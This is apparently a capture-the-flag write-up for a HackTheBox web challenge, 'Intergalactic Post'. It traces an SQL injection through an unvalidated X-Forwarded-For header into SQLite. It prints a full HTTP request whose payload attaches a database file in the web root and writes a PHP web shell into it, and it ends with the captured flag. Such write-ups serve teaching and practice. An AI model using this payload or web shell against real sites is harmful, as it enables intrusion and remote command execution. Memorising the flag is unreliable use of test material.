Challenge
This challenge is categorized under Web challenge. The source code for this challenge was provided. You can download the source code here (web_intergalactic_post).
You will be directed to subscribe page when you access the web. You will have to provide an email in the input. When the button “subscribe me to the truth” is pressed, you will be redirected to this page again with the parameter “success=true&msg=Email%20subscribed%20successfully!” in the URL.
Seems like nothing special here, so does if you inspect the network traffic using DevTools. The subscription was sent to /subscribe with 302 Found, then redirected back to / path.
Let’s dive into the source code. There are some files that can give you clues about the challenge. At first, I thought that the challenge was about SQL injection by abusing the email parameter. And I was wrong.
The first file is Router.php. Nothing strange here. Then there is index.php, you can see that /subscribe is handled by Subscontroller@store. The Subscontroller is stored inside the controller’s directory. The store method called to handle the subscription is located inside the Subscontroller.
The email in $_POST is validated using filter_val with parameter FILTER_VALIDATE_EMAIL. If the email is valid, SubscriberModel is created then the value is passed into subscribe method in the model.
Let’s look at the SubscribeModel in the model directory.
The subscribe method gets the HTTP_X_FORWADED_FOR, REMOTE_ADDR, and HTTP_CLIENT_IP using getSubscriberIP without being validated. Usually, IP4 is being validated using :
filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
You can read more here about the difference between HTTP_X_FORWADED_FOR and REMOTE_ADDR. Since it is not being validated, this part can be abused. So now you know the vulnerability is SQL Injection on IP in the request header.
Let’s look into the type of database being used. In the Dockerfile, you can see that the database being used is sqlite3. Here is a good reference that is relevant to the case and can be used to do injection into sqlite3. Some other reference here.
The injection can be done by creating a request to /subscribe with a forged HTTP_X_FORWADED_FOR.
The HTTP_X_FORWADED_FOR and email are being stored in the database using the method subscribeUser in the Database class (Database.php).
As you can see, the parameter $ip_address and $email are appended to the static SQL query. You can do an injection that gives remote control access by attaching a non-existent database. In SQLite, if the database does not exist, turns out it will be created instead of throwing an error.
Our query will be consisting of three parts. The first part is:
127.0.0.1','[email protected]');
This part will complete the VALUES( in the query. The next part is attaching the database.
ATTACH DATABASE '/www/static/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES('<?php system($_GET["cmd"]); ?>');
The last part is – – (double dash) to comment on anything that follows the query. The complete query will be:
127.0.0.1','[email protected]');ATTACH DATABASE '/www/static/lol.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES('<?php system($_GET["cmd"]); ?>');--
The request that is going to be sent is:
POST /subscribe HTTP/1.1 Accept: text/html Accept-Language: en-US,en;q=0.9 Content-Type: application/x-www-form-urlencoded Host: localhost:4000 X-Forwarded-For: 127.0.0.1','[email protected]');ATTACH DATABASE '/www/static/lol.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES('<?php system($_GET["cmd"]); ?>');-- [email protected]
You can send the request using tools that you preferred (Burp, python script, etc).
As you can see, the result is a success. Now, what needs to be done is access /static/lol.php with parameter cmd and command that is going to be executed as the value of the parameter. Here is an example:
All that is left is to locate the flag file and send its content as output. If you look at the Dockerfile, the flag is located at / directory with the name {flag_+(15 characters from md5sum of random string)}.
Or you can just list the / directory, grep ‘flag’ string and then cat it out.
The actual flag that was captured during the event is HTB{inj3ct3d_th3_tru7h}.